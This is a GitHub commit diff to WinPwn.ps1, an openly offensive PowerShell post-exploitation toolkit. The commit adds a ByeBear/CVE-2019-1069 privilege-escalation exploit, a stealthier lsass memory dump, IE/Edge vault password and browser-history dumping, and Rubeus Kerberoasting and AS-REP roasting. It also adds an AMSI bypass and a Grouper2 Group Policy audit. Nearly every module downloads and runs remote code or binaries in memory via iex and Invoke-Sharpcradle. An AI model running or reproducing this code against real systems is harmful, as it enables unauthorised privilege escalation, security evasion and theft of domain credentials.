Skip to content

Commit 97f9aa2

Browse files
S3cur3Th1sSh1tS3cur3Th1sSh1t
authored
Add ByeBear Exploit && Grouper 2 GPO Audit
1 parent 80f359e commit 97f9aa2

1 file changed

Lines changed: 64 additions & 19 deletions

File tree

‎WinPwn.ps1‎

Lines changed: 64 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -155,7 +155,7 @@ function sharpcradle{
155155
if ($polar)
156156
{
157157
iex (new-object net.webclient).downloadstring('https://raw.githubusercontent.com/SecureThisShit/Invoke-Sharpcradle/master/Invoke-Sharpcradle.ps1')
158-
$polaraction = Read-Host -Prompt 'Do you have a valid username and password to elevate privileges?'
158+
$polaraction = Read-Host -Prompt 'Do you have a valid username and password for CVE-2019-1069?'
159159
if ($polaraction -eq "yes" -or $polaraction -eq "y" -or $polaraction -eq "Yes" -or $polaraction -eq "Y")
160160
{
161161
$username = Read-Host -Prompt 'Please enter the username'
@@ -178,22 +178,25 @@ function sharpcradle{
178178
Invoke-Sharpcradle -uri https://github.com/SecureThisShit/Creds/raw/master/exeFiles/winexploits/SharpPolarbearx86.exe -argument1 license.rtf $username $password
179179
}
180180

181-
<#$system = Read-Host -Prompt 'Did you get a system shell? (y/n)'
182-
if ($system -eq "no" -or $system -eq "n" -or $system -eq "No" -or $system -eq "N")
183-
{
184-
Invoke-Sharpcradle -uri https://github.com/SecureThisShit/Creds/raw/master/exeFiles/winexploits/SharpByeBear.exe -argument1 "license.rtf 2"
185-
Write-Host -ForegroundColor Yellow 'Click into the search bar on your lower left side'
186-
Start-Sleep -Seconds 15
187-
Write-Host 'Next Try..'
188-
Invoke-Sharpcradle -uri https://github.com/SecureThisShit/Creds/raw/master/exeFiles/winexploits/SharpByeBear.exe -argument1 "license.rtf 2"
189-
Write-Host -ForegroundColor Yellow 'Click into the search bar on your lower left side'
190-
Start-Sleep -Seconds 15
191-
}#>
192181
move env:USERPROFILE\Appdata\Local\temp\license.rtf C:\windows\system32\license.rtf
193182
del .\schedsvc.dll
194183
del .\schtasks.exe
195184
del C:\windows\system32\tasks\test
196185
}
186+
else
187+
{
188+
$system = Read-Host -Prompt 'You can also try to elevate privileges using the last sandboxescaper vuln (ByeBear). Lets do it? (y/n)'
189+
if ($system -eq "no" -or $system -eq "n" -or $system -eq "No" -or $system -eq "N")
190+
{
191+
Invoke-Sharpcradle -uri https://github.com/SecureThisShit/Creds/raw/master/exeFiles/winexploits/SharpByeBear.exe -argument1 "license.rtf 2"
192+
Write-Host -ForegroundColor Yellow 'Click into the search bar on your lower left side'
193+
Start-Sleep -Seconds 15
194+
Write-Host 'Next Try..'
195+
Invoke-Sharpcradle -uri https://github.com/SecureThisShit/Creds/raw/master/exeFiles/winexploits/SharpByeBear.exe -argument1 "license.rtf 2"
196+
Write-Host -ForegroundColor Yellow 'Click into the search bar on your lower left side'
197+
Start-Sleep -Seconds 15
198+
}
199+
}
197200
}
198201
else
199202
{
@@ -409,7 +412,14 @@ function kittielocal
409412
{
410413
Invoke-WCMDump >> $currentPath\Exploitation\WCMCredentials.txt
411414
iex (new-object net.webclient).downloadstring('https://raw.githubusercontent.com/SecureThisShit/Invoke-Sharpcradle/master/Invoke-Sharpcradle.ps1')
412-
Invoke-Sharpcradle -uri https://github.com/SecureThisShit/Creds/blob/master/Ghostpack/SafetyKatz.exe?raw=true
415+
$lsass = Read-Host -Prompt 'Only dump lsass without using the cat (more stealth)? (recommended) (yes/no)'
416+
if ($lsass -eq "yes" -or $lsass -eq "y" -or $lsass -eq "Yes" -or $lsass -eq "Y")
417+
{
418+
iex (new-object net.webclient).downloadstring('https://raw.githubusercontent.com/SecureThisShit/Creds/master/PowershellScripts/SafetyDump.ps1')
419+
Write-Host -ForegroundColor Yellow 'Dumping lsass to C:\windows\temp\debug.bin :'
420+
Safetydump
421+
}
422+
else{Invoke-Sharpcradle -uri https://github.com/SecureThisShit/Creds/blob/master/Ghostpack/SafetyKatz.exe?raw=true}
413423

414424
}
415425
else
@@ -509,6 +519,7 @@ function localreconmodules
509519
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex >> "$currentPath\LocalRecon\NetRoutes.txt"
510520
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State >> "$currentPath\LocalRecon\ArpTable.txt"
511521
netstat -ano >> "$currentPath\LocalRecon\ActiveConnections.txt"
522+
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -Recurse | Get-ItemProperty -Name Version, Release -ErrorAction 0 | where { $_.PSChildName -match '^(?!S)\p{L}'} | select PSChildName, Version, Release >> "$currentPath\LocalRecon\InstalledDotNetVersions"
512523
Write-Host -ForegroundColor Yellow 'Getting Shares'
513524
net share >> "$currentPath\LocalRecon\Networkshares.txt"
514525
Write-Host -ForegroundColor Yellow 'Getting hosts file content'
@@ -720,10 +731,16 @@ function localreconmodules
720731
$IE = Read-Host -Prompt 'Dump IE / Edge Browser passwords? (yes/no)'
721732
if ($IE -eq "yes" -or $IE -eq "y" -or $IE -eq "Yes" -or $IE -eq "Y")
722733
{
723-
[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
724-
$vault = New-Object Windows.Security.Credentials.PasswordVault
725-
$vault.RetrieveAll() | % { $_.RetrievePassword();$_ } >> "$currentPath\Exploitation\InternetExplorer_Credentials.txt"
726-
}
734+
[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
735+
$vault = New-Object Windows.Security.Credentials.PasswordVault
736+
$vault.RetrieveAll() | % { $_.RetrievePassword();$_ } >> "$currentPath\Exploitation\InternetExplorer_Credentials.txt"
737+
}
738+
$browserinfos = Read-Host -Prompt 'Dump all installed Browser history and bookmarks? (yes/no)'
739+
if ($browserinfos -eq "yes" -or $browserinfos -eq "y" -or $browserinfos -eq "Yes" -or $browserinfos -eq "Y")
740+
{
741+
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/SecureThisShit/Creds/master/PowershellScripts/Get-BrowserInformation.ps1')
742+
Get-BrowserInformation >> "$currentPath\LocalRecon\AllBrowserHistory.txt"
743+
}
727744
}
728745

729746
function passhunt
@@ -955,9 +972,30 @@ function domainreconmodules
955972
{
956973
passhunt -domain $true
957974
}
975+
976+
$gpos = Read-Host -Prompt 'Check domain Group policies for common misconfigurations using Grouper2? (yes/no)'
977+
if ($gpos -eq "yes" -or $gpos -eq "y" -or $gpos -eq "Yes" -or $gpos -eq "Y")
978+
{
979+
GPOAudit
980+
}
958981

959982
}
960983

984+
function GPOAudit
985+
{
986+
<#
987+
.DESCRIPTION
988+
Check Group Policies for common misconfigurations using Grouper2.
989+
Author: @securethisshit
990+
License: BSD 3-Clause
991+
#>
992+
#Domain Recon
993+
$currentPath = (Get-Item -Path ".\" -Verbose).FullName
994+
pathcheck
995+
iex (new-object net.webclient).downloadstring('https://raw.githubusercontent.com/SecureThisShit/Invoke-Sharpcradle/master/Invoke-Sharpcradle.ps1')
996+
Invoke-Sharpcradle -uri https://github.com/SecureThisShit/Creds/blob/master/Ghostpack/Grouper2.exe?raw=true -argument1 "-f" -argument2 "$currentPath\DomainRecon\GPOAudit.html"
997+
}
998+
961999

9621000
function reconAD
9631001
{
@@ -1364,6 +1402,11 @@ function kerberoasting
13641402
pathcheck
13651403
Write-Host -ForegroundColor Yellow 'Starting Exploitation Phase:'
13661404
Write-Host -ForegroundColor Red 'Kerberoasting active:'
1405+
iex (new-object net.webclient).downloadstring('https://raw.githubusercontent.com/SecureThisShit/Invoke-Sharpcradle/master/Invoke-Sharpcradle.ps1')
1406+
Write-Host -ForegroundColor Yellow 'Doing Kerberoasting + ASRepRoasting using rubeus. Output goes to .\Exploitation\'
1407+
Invoke-Sharpcradle -uri https://github.com/SecureThisShit/Creds/raw/master/Ghostpack/Rubeus.exe -argument1 asreproast -argument2 "/format:hashcat" >> $currentPath\Exploitation\ASreproasting.txt
1408+
Invoke-Sharpcradle -uri https://github.com/SecureThisShit/Creds/raw/master/Ghostpack/Rubeus.exe -argument1 kerberoast -argument2 "/format:hashcat" >> $currentPath\Exploitation\Kerberoasting_Rubeus.txt
1409+
Write-Host -ForegroundColor Yellow 'Using the powershell version for sure'
13671410
cmd /c start powershell -Command {$currentPath = (Get-Item -Path ".\" -Verbose).FullName;$Wcl = new-object System.Net.WebClient;$Wcl.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;iex (new-object net.webclient).downloadstring('https://raw.githubusercontent.com/SecureThisShit/Creds/master/obfuscatedps/amsi.ps1');IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -OutputFormat Hashcat | fl >> $currentPath\Exploitation\Kerberoasting.txt;Write-Host -ForegroundColor Yellow ''Module finished, Hashes saved to .\Exploitation\Kerberoasting.txt:'' ;pause}
13681411
}
13691412

@@ -1567,7 +1610,8 @@ __ ___ ____
15671610
Write-Host -ForegroundColor Green '19. Execute some C# Magic for Creds, Recon and Privesc!'
15681611
Write-Host -ForegroundColor Green '20. Load custom C# Binaries from a webserver to Memory and execute them!'
15691612
Write-Host -ForegroundColor Green '21. Show some polar bears in action!'
1570-
Write-Host -ForegroundColor Green '22. Exit. '
1613+
Write-Host -ForegroundColor Green '22. Do an Group Policy Audit using Grouper2!'
1614+
Write-Host -ForegroundColor Green '23. Exit. '
15711615
Write-Host "================ WinPwn ================"
15721616
$masterquestion = Read-Host -Prompt 'Please choose wisely, master:'
15731617

@@ -1594,9 +1638,10 @@ __ ___ ____
15941638
19{sharpcradle -allthosedotnet $true}
15951639
20{sharpcradle}
15961640
21{sharpcradle -polar $true}
1641+
22{GPOAudit}
15971642
}
15981643
}
1599-
While ($masterquestion -ne 22)
1644+
While ($masterquestion -ne 23)
16001645

16011646

16021647
#End

0 commit comments

Comments
 (0)